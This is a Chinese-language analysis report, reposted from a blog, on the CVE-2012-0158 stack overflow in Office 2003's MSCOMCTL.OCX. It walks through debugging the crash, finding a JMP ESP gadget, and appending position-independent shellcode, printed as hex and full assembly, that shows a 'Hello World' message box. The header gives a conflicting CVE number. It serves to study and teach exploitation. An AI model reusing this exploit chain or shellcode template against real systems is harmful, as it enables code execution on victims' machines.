0


CVE-2012-0158漏洞分析报告

软件名称:Office 2003

软件版本:11.5604.5606

漏洞模块:MSCOMCTL.OCX

模块版本:----

编译日期:2022-07-10

操作系统:Windows XP/2003/7/8.1/10

漏洞编号:CVE-2013-4730

危害等级:超危

漏洞类型:缓冲区溢出

威胁类型:本地

软件简介

Microsoft Office 2003 是微软公司针对 Windows操作系统所推出的办公室套装软件,于 2003 年 9 月 17 日推出,其前一代产品为 Office XP,后一代产品为 Office 2007。

漏洞成因

CVE-2012-0158漏洞是一个栈溢出漏洞,该漏洞是微软Office办公软件中的MSCOMCTL.ocx中MSCOMCTL.ListView控件时检查失误造成的,攻击者可以通过精心构造的数据控制程序EIP实现任意代码执行。

**1****、获取****poc**

网络,论坛,Metasploit

 https://www.exploit-db.com/

 https://www.securityfocus.com/

**2****、复现漏洞**

搭建漏洞环境,执行漏洞POC

安装office 2003 sp3

执行poc,word会直接崩溃,停止工作,如下图:

**3****、分析漏洞**

定位漏洞触发模块:

打开一个空白2003word文档,使用OD附加该文档(附加之前需要先对OD进行设置,取消对异常的忽略)

附加之后,将所有线程激活,断点禁止,然后让程序跑起来。使用刚才打开的word打开我们的poc文件:

打开文件之后,程序会在eip=41414141处断下,说明该位置就是溢出点。分析溢出点的附近堆栈,溢出点下面的堆栈一般是刚刚调用的函数的上一层函数堆栈,溢出后可能已经被破坏,溢出点上面的堆栈一般是刚刚执行的函数堆栈,在这里可以发现有一个地址275C8A0A,该地址是MSCOMCTL模块中的地址,因此可以判断刚刚执行的函数中执行了MSCOMCTL模块中的代码。

**定位漏洞函数:**

已经确定是在MSCOMCTL模块触发的漏洞,OD中定位到0x275C8A0A,我们在这个函数刚进来的地方0x275C89C7下断点,然后重新运行程序,观察0x1215EC上的返回地址是什么时候被填充为0x41414141的:

经过调试发现,当执行完0x275C8A05上的CALL指令之后,返回地址被填充成了41414141,所以可以确定是CALL 275C876D时出现了问题。使用IDA定位到MSCOMCTL.ocx中的275C876D函数

重新在OD中调试程序,观察275C876D的参数:   

进入275C876D这个函数进行分析,找到具体哪个操作,覆盖了返回地址:

再使用IDA进行分析:       

**分析漏洞成因:**

使用010Editor打开文件,查看数据,找到8282的位置:      

这里找到了两个8282,我们猜测一个应该是dwBytes,一个是v17。随便修改其中一个为8382,再次动态调试进行测试,观察分析:

通过观察发现,函数内部读取的值变了,说明文件中第一个8282是参数中的长度,第二个8282是函数内读取的长度,两个长度都在文件中。经过分析之后,漏洞成因是在读取数据时,读取的长度和验证的长度都在文件中,所以可以自行构造,进而触发栈溢出。

利用过程

分析和设计shellcode的结构 

在运行的程序中寻找跳板指令的地址

运行WinDBG开始调试后,输入以下命令开始使用Mona

    .load pykd.pyd

    !py mona

输入:!py mona mod,找到Rebase、SafeSEH、ASLR、NXCompata为False,而OS DLL为True的系统模块

找到了MSVBVM60.DLL符合条件,然后在这个模块中找 JMP ESP 的指令地址:

输入:!py mona findwild -s "jmp esp" -m msvbvm60.dll  

找到一个0x729A0535得地址,而且权限是可读可执行,将这个地址替换掉溢出点的41414141,然后在该地址下断点,再进行测试:

发现能够断在这个地方,说明程序已经能够按照我们的意图进行执行,下面只需要在后面添加我们的shellcode就行了。

OD中选中对应的Shellcode,Shift+X 复制出,然后将其添加到poc的后面:   

测试之后,成功弹出窗口:

PoC

Shellcode:

6083EC60EB4E47657450726F6341646472657373004C6F61644C696272617279457841005573657233322E646C6C004D657373616765426F7841004578697450726F636573730048656C6C6F20576F726C642100E8000000005B648B35300000008B760C8B761C8B368B56085352E8140000008BF0528D4BBC5152FFD05A53565052E86E000000558BEC83EC0C528B55088B723C8D34328B76788D34328B7E1C8D3C3A897DFC8B7E208D3C3A897DF88B7E248D3C3A897DF433C0EB01408B75F88B34868B55088D34328B5D0C8D7BADB90E000000FCF3A675E38B75F433FF668B3C468B55FC8B34BA8B55088D04325A8BE55DC20800558BEC83EC088B5D148D4BCB6A006A0051FF550C8D4BD65150FF55108945FC8D4BE251FF7508FF55108945F88D4BEE6A0051516A00FF55FC6A00FF55F88BE55DC21000

汇编代码:

__asm

{

    PUSHAD;

    SUB ESP, 0x60;       //开辟栈空间

    JMP tag_Shellcode;   //前置代码,避免后面额数据被解释为指令

    //[tag_next-0x53] "GetProcAddress"

    _asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)

    _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63) _asm _emit(0x41)

    _asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)

    _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

    //[tag_next-0x44] "LoadLibraryExA\0"

    _asm _emit(0x4c) _asm _emit(0x6f) _asm _emit(0x61) _asm _emit(0x64)

    _asm _emit(0x4c) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72)

    _asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45)

    _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

    //[tag_next-0x35] "User32.dll\0"

    _asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)

    _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2e) _asm _emit(0x64)

    _asm _emit(0x6c) _asm _emit(0x6c) _asm _emit(0x00)

    //[tag_next-0x2A] "MessageBoxA\0"

    _asm _emit(0x4d) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73)

    _asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42)

    _asm _emit(0x6f) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

    //[tag_next-0x1E] "ExitProcess\0" 

    _asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74)

    _asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63)

    _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

    //[tag_next-0x12] "Hello World!\0" 

    _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6c) _asm _emit(0x6c)

    _asm _emit(0x6f) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6f)

    _asm _emit(0x72) _asm _emit(0x6c) _asm _emit(0x64) _asm _emit(0x21)

    _asm _emit(0x00)

tag_Shellcode:

    CALL tag_Next;

tag_Next:

    pop ebx;      //Next的地址

    //获取关键模块基址

    mov esi, dword ptr fs : [0x30] ;  //esi = PEB的地址

    mov esi, [esi + 0x0c];         //esi = 指向 _PEB_LDR_DATA结构的指针

    mov esi, [esi + 0x1c];          //esi = 模块链表指针InInitializationOrderModuleList

    mov esi, [esi];              //esi = 访问链表中的第二个条目

    mov edx, [esi + 0x8];          //edx = kernel32.dll基址

    //获取GetProcAddress的函数地址

    //lea ebx,[ebx-0x52]

    push ebx;                       // 

    push edx;                       //模块基址

    CALL fun_GetProcAddress;

    mov esi, eax;                        //返回GetProcAddress的函数地址

    push edx;

    //获取LoadLibraryExA的函数地址

    lea ecx, [ebx - 0x44];

    push ecx;                      //"LoadLibraryExA"

    push edx;                       //模块基址:kernel32.dll

    call eax;                      //CALL GetProcAddress

    pop edx;

    //设置payload

    push ebx;                     //BaseAddr

    push esi;                       //GetProcAddress的函数地址

    push eax;                       //LoadLibraryExA的函数地址

    push edx;                       //模块基址

    call fun_Payload;

fun_GetProcAddress :

    push ebp;

    mov ebp, esp;

    sub ESP, 0x0C;

    push edx;

    //获取EAT、ENT、EOT的地址

    mov edx, [ebp + 0x08];          //Kernel32.dll

    mov esi, [edx + 0x3C];           //IMAGE_DOS_HEADER.e_lfanew 文件偏移

    lea esi, [edx + esi];           //NT头的 VA

    mov esi, [esi + 0x78];          //IMAGE_DIRECTOTY_ENTRY_EXPORT.VirtualAddress

    lea esi, [edx + esi];          //导出表VA

    mov edi, [esi + 0x1C];          //EAT 的 RVA

    lea edi, [edx + edi];           //EAT 的 VA

    mov[ebp - 0x04], edi;

    mov edi, [esi + 0x20];           //ENT 的 RVA

    lea edi, [edx + edi];          //ENT 的 VA

    mov[ebp - 0x08], edi;

    mov edi, [esi + 0x24];          //EOT 的 RVA

    lea edi, [edx + edi];           //EOT 的 VA

    mov[ebp - 0xC], edi;

    //循环对比ENT中的函数名

    xor eax, eax;

    jmp tag_FirstCmp;

tag_CmpFunNameLoop :

    inc eax;

tag_FirstCmp :

    mov esi, [ebp - 0x8];           //ENT 的 VA

    mov esi, [esi + 4 * eax];        //函数名称的 RVA

    mov edx, [ebp + 0x8];          //kernel32.dll的基址

    lea esi, [edx + esi];

    mov ebx, [ebp + 0xC];          //

    lea edi, [ebx - 0x53];         //GetProcAddress的函数名地址

    mov ecx, 0xE;              //GetProcAddress 的长度

    cld;

    repe cmpsb;

    jne tag_CmpFunNameLoop;      //如果不相等就继续循环对比

    //成功后找到对应的序号

    mov esi, [ebp - 0xC];         //EOT 的 VA

    xor edi, edi;

    mov di, [esi + eax * 2];       // 用函数名数组下标在序号数组找到对应的序号

    //使用序号作为索引,找到函数名对应的函数地址

    mov edx, [ebp - 0x4];        //EAT 的 VA

    mov esi, [edx + edi * 4];       //用序号在函数地址数组找到对应的函数地址

    mov edx, [ebp + 0x8];       //kernel32.dll的基址

    //返回获取到的关键函数地址

    lea eax, [edx + esi];       //返回:GetProcAddress的函数地址

    pop edx;

    mov esp, ebp;

    pop ebp;

    retn 0x8;

fun_Payload:

    push ebp;

    mov ebp, esp;

    sub esp, 0x08;

    mov ebx, [ebp + 0x14];     //BaseAddr

    //获取 MessageBoxA的函数地址

    lea ecx, [ebx - 0x35];       //"USER32.DLL"

    push 0;

    push 0;

    push ecx;                //模块名地址

    call[ebp + 0xC];             //LoadLibraryExA

    lea ecx, [ebx - 0x2A];         // "MessageBoxA"

    push ecx;            //函数名地址

    push eax;                //user32.dll基址

    call[ebp + 0x10];            //GetProcAddress

    mov[ebp - 0x4], eax;

    //获取ExitProcess函数的地址

    lea ecx, [ebx - 0x1E];        //"ExitProcess"

    push ecx;

    push[ebp + 0x08];            //Kernel32.dll

    call[ebp + 0x10];

    mov[ebp - 0x08], eax;

    lea ecx, [ebx - 0x12];     //"Hello World!\0"

    push 0;

    push ecx;

    push ecx;

    push 0;

    call[ebp - 0x4];            //MessageBoxA

    push 0;

    call[ebp - 0x8];          //ExitProcess

    mov esp, ebp;

    pop ebp;

    retn 0x10;

}

结语

该漏洞是读取长度和验证长度都在文件中,攻击者可以随便写长度,造成溢出,执行恶意代码。

Office漏洞大多是栈溢出漏洞,而栈溢出漏洞的关键点是栈中数据被覆盖,然后通过跳转指令跳到其他地方去执行。栈溢出覆盖是从上到下覆盖的,溢出点下面是上一层函数的堆栈,上面是刚刚执行的函数的堆栈。分析过程中,需要找出真正将栈中数据覆盖的操作,通过测试找到溢出点,最终找到漏洞触发的原因。


本文转载自: https://blog.csdn.net/ZK_1874/article/details/127579133
版权归原作者 K_BLACKHOLE 所有, 如有侵权,请联系我们删除。

“CVE-2012-0158漏洞分析报告”的评论:

还没有评论